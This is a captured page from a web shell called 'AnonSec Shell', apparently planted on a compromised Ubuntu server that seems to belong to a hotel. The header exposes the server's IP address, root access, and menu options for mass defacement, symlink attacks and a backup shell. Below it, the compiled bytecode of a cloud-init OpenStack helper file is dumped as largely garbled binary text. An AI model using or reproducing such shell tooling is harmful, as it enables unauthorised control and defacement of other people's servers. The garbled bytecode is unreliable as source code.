AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/cloudinit/sources/helpers/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/cloudinit/sources/helpers/__pycache__/openstack.cpython-310.pyc
o

x[h�m�@s6ddlZddlZddlZddlZddlZddlZddlmZmZm	Z	m
Z
mZddlm
Z
ddlmZe�e�Zddd�dfd	ejifd
dd�dfd�Zd
ZdZdZdZdZdZdZdZdZdZeeeeeeeefZdZ Gdd�de!�Z"Gdd�d�Z#Gdd�dej$d�Z%Gdd �d e%�Z&Gd!d"�d"e%�Z'd%d#d$�Z(dS)&�N)�net�sources�subp�
url_helper�util)�BrokenMetadata)�ec2�network_configcC�|S�N���xrr�E/usr/lib/python3/dist-packages/cloudinit/sources/helpers/openstack.py�<lambda>�r��meta_js�authorized_keyscCr
rrr
rrrrr)zetc/network/interfaceszmeta.jszroot/.ssh/authorized_keys))zlocal-hostname�hostnameF)�instance-id�uuidT�latestz
2012-08-10z
2013-04-04z
2013-10-17z
2015-10-15z
2016-06-30z
2016-10-06z
2017-02-22z
2018-08-27)
N�bgpovs�bridge�	cascading�dvs�ethernet�hw_veb�hyperv�ovs�phy�tap�	vhostuser�vifc@seZdZdS)�NonReadableN)�__name__�
__module__�__qualname__rrrrr%Qsr%c@s4eZdZdd�Zdd�Zdd�Zdd�Zd	d
�ZdS)�SourceMixincCs>|jsdS|j�di�}|��D]\}}||kr|SqdS)Nzblock-device-mapping)�ec2_metadata�get�items)�self�name�bdm�ent_name�devicerrr�_ec2_name_to_deviceVs�zSourceMixin._ec2_name_to_devicecCs$d}|jdkr	d}t�|j�|��S)N�public_keys��public-keys)�versionr�normalize_pubkey_data�metadatar+)r-r.rrr�get_public_ssh_keys_s
zSourceMixin.get_public_ssh_keyscCsVd}zd|}|dkrd|}t�|�}|r|d}W|SW|Stjy*Y|Sw)NzLABEL=%s�swapzTYPE=%sr)r�find_devs_withr�ProcessExecutionError)r-r.r1�criteria�dev_entriesrrr�_os_name_to_devicees

���zSourceMixin._os_name_to_devicecCsV|sdS|�d�s
d|}tj�|�r|S|�tj�|��}|r)t�d||�|SdS)N�/z/dev/%szRemapped device name %s => %s)�
startswith�os�path�exists�
_remap_device�basename�LOG�debug)r-r1�remappedrrr�_validate_device_namers
z!SourceMixin._validate_device_namecCs�|sdS|g}|dkr|�dd�|dkr|�d�d}t�d|�|D]}|�|�}|�|�}|r4nq$|sPt�d|�|D]}|�|�}|�|�}|rOnq?|sTdSt�d||�|S)N�rootr�amiz(Using ec2 style lookup to find device %sz.Using openstack style lookup to find device %szMapped %s to device %s)�insert�appendrGrHr2rJr?)r-r.�namesr1�nrrr�device_name_to_device�s6


�

�z!SourceMixin.device_name_to_deviceN)r&r'r(r2r9r?rJrQrrrrr)Us	
r)c@sheZdZdd�Zejdd��Zejddd��Zejdd	��Zejd
d��Z	dd
�Z
ddd�Zdd�ZdS)�
BaseReadercCs
||_dSr)�	base_path�r-rSrrr�__init__�s
zBaseReader.__init__cG�dSrr�r-�base�add_onsrrr�
_path_join��zBaseReader._path_joinFcCrVrr�r-rC�decoderrr�
_path_read�r[zBaseReader._path_readcCrVrr�r-rrr�_fetch_available_versions�r[z$BaseReader._fetch_available_versionscCrVrrr_rrr�_read_ec2_metadata�r[zBaseReader._read_ec2_metadatac
Cs�z|��}Wnty"}zt�d|j|�g}WYd}~nd}~wwdd�ttt��D�}t}|D]	}||vr9q2|}t�d||�|S)Nz4Unable to read openstack versions from %s due to: %scSsg|]}|�qSrr)�.0�vrrr�
<listcomp>�sz4BaseReader._find_working_version.<locals>.<listcomp>zSelected version '%s' from %s)	r`�	ExceptionrGrHrS�reversed�list�OS_VERSIONS�	OS_LATEST)r-�versions_available�e�	supported�selected_version�potential_versionrrr�_find_working_version�s0���
�z BaseReader._find_working_versioncCs^|�dd��d�}|�d�}dd�|D�}|std|��|j|jdg|�R�}|j||d�S)	N�content_pathrr@cSsg|]}t|�r|�qSr)�len)rb�prrrrd�sz1BaseReader._read_content_path.<locals>.<listcomp>z!Item %s has no valid content path�	openstack�r])r+�lstrip�splitrrZrSr^)r-�itemr]rC�path_pieces�valid_piecesrrr�_read_content_path�s
zBaseReader._read_content_pathcs�tjtjtttfd����fdd�}ddd�}|����}|��D]o\}\}}}��	�j
|�}d}d}z��|�}Wn#ty]}	z|sLt
�d	||	�nt
�d
||	�WYd}	~	nd}	~	wwd}|rj|sjtd|��|r�|r�z||�}Wnty�}	z	td
||	f�|	�d}	~	ww|r�|||<q!|d}
d|
vr�|
d}z	t�|�|
d<Wnttfy�}	ztd|	�|	�d}	~	wwi}|
�dg�}
|
D])}d|vr�q�|d}z	��|�||<Wq�ty�}	z	td||	f�|	�d}	~	ww||d<|
�dd�}|�rz
�j|dd�}||d<Wnt�y}	ztd|	�|	�d}	~	wwz
|
dd|d<Wn
t�y3Ynw���|d<tD] \}}}|�rO||
v�rOtd|��||
v�r[|
�|�|
|<�q<|S)z�Reads a version 2 formatted location.

        Return a dict with metadata, userdata, ec2-metadata, dsmode,
        network_config, files and version (2).

        If not a valid location, raise a NonReadable exception.
        )�
root_typescs�i}��d|d�dtjf|d<��d|d�ddd�f|d	<��d|d
�d�f|d<��d|d�d�f|d
<��d|d�d�f|d<|S)Nrszmeta_data.jsonTr8�	user_dataFcSr
rrr
rrrr�rz7BaseReader.read_v2.<locals>.datafiles.<locals>.<lambda>�userdatazvendor_data.json�
vendordatazvendor_data2.json�vendordata2znetwork_data.json�networkdata)rZr�	load_json)r6�files��load_json_anytyper-rr�	datafiles�s,�	����z%BaseReader.read_v2.<locals>.datafilesr�)r}r6NFz*Failed reading optional path %s due to: %sz+Failed reading mandatory path %s due to: %sTzMissing mandatory path: %s�Failed to process path %s: %sr8�random_seedz.Badly formatted metadata random_seed entry: %sr�rCz#Failed to read provided file %s: %sr	rtz(Failed to read network configuration: %s�meta�dsmodezec2-metadatazNo '%s' entry in metadata)�	functools�partialrr��dictrg�strror,rZrSr^�IOErrorrGrHr%rer�base64�	b64decode�
ValueError�	TypeErrorr+rz�KeyErrorra�
KEY_COPIES)r-r��results�datar.rC�required�
translator�foundrkr8r�r��metadata_filesrw�net_item�content�
target_key�
source_key�is_requiredrr�r�read_v2�s�	�!�����

���������
��������	�
�zBaseReader.read_v2N�F)
r&r'r(rU�abc�abstractmethodrZr^r`rarorzr�rrrrrR�s



	rR)�	metaclasscsFeZdZ�fdd�Zdd�Zddd�Zdd	�Zd
d�Zdd
�Z�Z	S)�ConfigDriveReadercstt|��|�d|_dSr)�superr�rU�	_versionsrT��	__class__rrrUfs
zConfigDriveReader.__init__cGs|gt|�}tjj|�Sr)rgrBrC�join)r-rXrY�
componentsrrrrZjszConfigDriveReader._path_joinFcCs|rt�|�St�|�Sr)r�load_text_file�load_binary_filer\rrrr^ns

���zConfigDriveReader._path_readcs@|jdur|�|jd���fdd�t���D�}t|�|_|jS)Nrscs$g|]}tj�tj����r|�qSr)rBrC�isdirr��rb�d�rCrrrdxs��z?ConfigDriveReader._fetch_available_versions.<locals>.<listcomp>)r�rZrSrB�listdir�sorted)r-r�rr�rr`us

�
z+ConfigDriveReader._fetch_available_versionsc
Cs`|�|jddd�}tj�|�siSz	t�|�|��WSty/}z	t	d||f�|�d}~ww)Nrrzmeta-data.jsonr�)
rZrSrBrCrDrr�r^rer)r-rCrkrrrra�s
�
����z$ConfigDriveReader._read_ec2_metadatacCszi}t��D]}|�|j|�}tj�|�r|||<q|s#td|j��i}t��D]O\}\}}}||vrq||}z|�	|�}Wnt
yR}	ztd|�|	�d}	~	wwz||�||<Wq)typ}	z	td||	f�|	�d}	~	wwt
�|�||<q)|d}
|d}|�d|
�}
|
r�|
��}dd	�|D�|d<d
|vr�|d
|d
<d|d�}
d
|vr�|d
|
d
<|�dd�|
d<i|
d<|
S)z�Reads a version 1 formatted location.

        Return a dict with metadata, userdata, dsmode, files and version (1).

        If not a valid path, raise a NonReadable exception.
        z%s: no files foundzFailed to read: %sNr�rrr5cSs"g|]
}t|�r|�d�s|�qS)�#)rqrA)rb�linerrrrd�s���z-ConfigDriveReader.read_v1.<locals>.<listcomp>rr4)r6r8r�z	user-datarr}r�)�FILES_V1�keysrZrSrBrCrDr%r,r^r�rre�copy�deepcopyr+�
splitlines)r-r�r.rC�md�keyr��default�contentsrk�keydatar�linesr�rrr�read_v1�s^���
����
��zConfigDriveReader.read_v1r�)
r&r'r(rUrZr^r`rar��
__classcell__rrr�rr�es
r�cs@eZdZd�fdd�	Zdd�Zddd	�Zd
d�Zdd
�Z�ZS)�MetadataReaderN�cs4tt|��|�||_t|�|_t|�|_d|_dSr)	r�r�rU�ssl_details�float�timeout�int�retriesr�)r-�base_urlr�r�r�r�rrrU�s



zMetadataReader.__init__cCsb|jdur|jSg}|�|jd�}|j|dd�}|��D]}|��}|s%q|�|�q||_|jS)NrsTrt)r�rZrSr^r��striprN)r-r��version_pathr�r�rrrr`�s
z(MetadataReader._fetch_available_versionsFcCs6dd�}tj||j|j|j|d�}|r|j��S|jS)Nc	SsFzt|j�}|dkr|dvrWdSWdSWdSttfy"YdSw)Ni�)i�i�i�i�i�i�FT)r��coder�r�)�causer�rrr�should_retry_cb�s
����z2MetadataReader._path_read.<locals>.should_retry_cb)r�r�r��exception_cb)r�readurlr�r�r�r�r])r-rCr]r��responserrrr^�s
�
zMetadataReader._path_readcGstj|g|�R�Sr)r�combine_urlrWrrrrZszMetadataReader._path_joincCstj|j|j|jd�S)N)r�r�r�)r�get_instance_metadatar�r�r�r_rrrra	s
�z!MetadataReader._read_ec2_metadata)Nr�r�r�)	r&r'r(rUr`r^rZrar�rrr�rr��s
r�c 
s�|durdSgd�gd�gd�d��|�dg�}|�dg�}|�dg�}g}i�d	}d
}g}|D�]�g}	t�fdd����D��}
d
�vrL�d
|
d
<d}��d�r`��d���}|��d<|
�d
�|�d�dd�}�fdd�|D�D]�}
t�fdd�|
��D��}�fdd�|
�dg�D�}|r�|�d|i�|
ddkr�|�ddi�nH|
ddkr�|�ddi�n:|
ddvr�|�d|
di�n*|
ddvr�|�d|
�d�d��n|
dd vr�|
�d!d"i�|�d#|
�d�d��d$d�|
�dg�D�}|
�dg�D]}|�d�d%k�r�q|d&|v�r�q|�|d&��q|�r(||d'<|
dd(v�r6|
�d!d)i�|
dd*k�rAd)|d*<|
dd+k�rLd)|d+<|	�|�qw|
�d,|	i��dd-v�r�i}|�rl|
�d.|i����D]$\}}|d/k�r{�qp|�d0��r�d1�|�d2d3�d4�}|�||i��qp||}|d37}|�|
d5d6t	�
�d/�f�|
�||d7��||d
<nZ�dd8v�r�d9�d:�d;f}|
�|�d;�d<d=��|�|
d:d6�d:f�|�|
d
d>�d;�d:f�|��d<|d?��n�dtv�r
t�
d@�d�|
�dA|dB��|�|
�|�|d<q0dCd�|D�}|�s+|�r�|du�r4t��}���D]\}}|�d
��rD�q8|�dD�|v�rT||dD|d
<�q8|D]/}|�d.�}|�shtdE|��||v�r�t��t��}||v�r�tdF|��|||d
<�qX|D]'\}
}�}t|ttf��r���fdGd�|D�|
|<�q���|d
|
|<�q�t��}|�r�|D]}
|
d
|v�r�||
d
|
d.<dH|
d<�q�|D]}t	�
|�}
|
�ddIi�|�|
��q�d3|dJ�S)Ka*Return a dictionary of network_config by parsing provided
       OpenStack ConfigDrive NetworkData json format

    OpenStack network_data.json provides a 3 element dictionary
      - "links" (links are network devices, physical or virtual)
      - "networks" (networks are ip network configurations for one or more
                    links)
      -  services (non-ip services, like dns)

    networks and links are combined via network items referencing specific
    links via a 'link_id' which maps to a links 'id' field.

    To convert this format to network_config yaml, we first iterate over the
    links and then walk the network list to determine if any of the networks
    utilize the current link; if so we generate a subnet entry for the device

    We also need to map network_data.json fields to network_config fields. For
    example, the network_data links 'id' field is equivalent to network_config
    'name' field for devices.  We apply more of this mapping to the various
    link types that we encounter.

    There are additional fields that are populated in the network_data.json
    from OpenStack that are not relevant to network_config yaml, so we
    enumerate a dictionary of valid keys for network_yaml and apply filtering
    to drop these superfluous keys from the network_config yaml.
    N)r.�type�mac_address�subnets�params�mtu)
r��address�netmask�	broadcast�metric�gateway�pointopoint�scope�dns_nameservers�
dns_search)�network�destinationr�r�r�)�physical�subnet�routes�links�networks�serviceszbond%drc3�(�|]\}}|�dvr||fVqdS)r�Nr�rb�krc��
valid_keysrr�	<genexpr>T���z#convert_net_json.<locals>.<genexpr>r.�ethernet_mac_address�idr�)r.�macr�r�cs g|]}|d�dkr|�qS)�linkr�r)rbrP)r�rrrdjs z$convert_net_json.<locals>.<listcomp>c3r�)r�Nrr�r�rrr�kr�cs&g|]}t�fdd�|��D���qS)c3r�)r�Nrr�r�rrr�rs���z.convert_net_json.<locals>.<listcomp>.<genexpr>)r�r,)rb�router�rrrdqs���r��	ipv4_dhcp�dhcp4�	ipv6_dhcp�dhcp6)�
ipv6_slaaczipv6_dhcpv6-stateless�ipv6_dhcpv6-stateful)�ipv4�staticr��
ip_address)r�r�)�ipv6�static6z	accept-raFrcSs4g|]}|�dg�D]
}|�d�dkr
|d�q
qS)r�r��dnsr��r+)rbr��servicerrrrd�s
��rr�r�)r�r�Tr�rr�)�bondr��
bond_linksrzbond-{}�bond_r4����bond_interfacesz%s)r�r.)�vlanz%s.%s�	vlan_link�vlan_id�vlan_mac_address)r.r
r�z%%s.%s)r�r.z9Unknown network_data link type (%s); treating as physicalr�)r�r�cSs&g|]}|�d�dkrd|vr|�qS)r�r�r.rr�rrrrd�s r�z#No mac_address or name entry for %sz"Unable to find a system nic for %scsg|]
}��|d�qS)r.r)rb�target)�fmt�link_id_inforrrds��
infiniband�
nameserver)r6�config)r+r�r,�lower�updaterNrA�formatrvr�r��KNOWN_PHYSICAL_TYPESrG�warningr�get_interfaces_by_macr�r�udevadm_settle�
isinstancerg�tuple�get_ib_hwaddrs_by_interface) �network_json�
known_macsr�r�r��link_updates�
bond_name_fmt�bond_numberrr��cfg�
link_mac_addr�curinfor�r�r�r�rr�r�rc�translated_key�	link_namer.�
need_names�_link_id�infor�r�r��targets�ib_known_hwaddrsr)rr�rr�r�convert_net_jsons@�
�
��

�	����

�
���
����
�
�


��

r.)NN))r�r�r�r��loggingrB�	cloudinitrrrrr�cloudinit.sourcesr�cloudinit.sources.helpersr�	getLoggerr&rGr�r�r�ri�	OS_FOLSOM�
OS_GRIZZLY�	OS_HAVANA�
OS_LIBERTY�
OS_NEWTON_ONE�
OS_NEWTON_TWO�OS_OCATA�OS_ROCKYrhrr�r%r)�ABCMetarRr�r�r.rrrr�<module>sR

��LEs:

Anon7 - 2022
AnonSec Team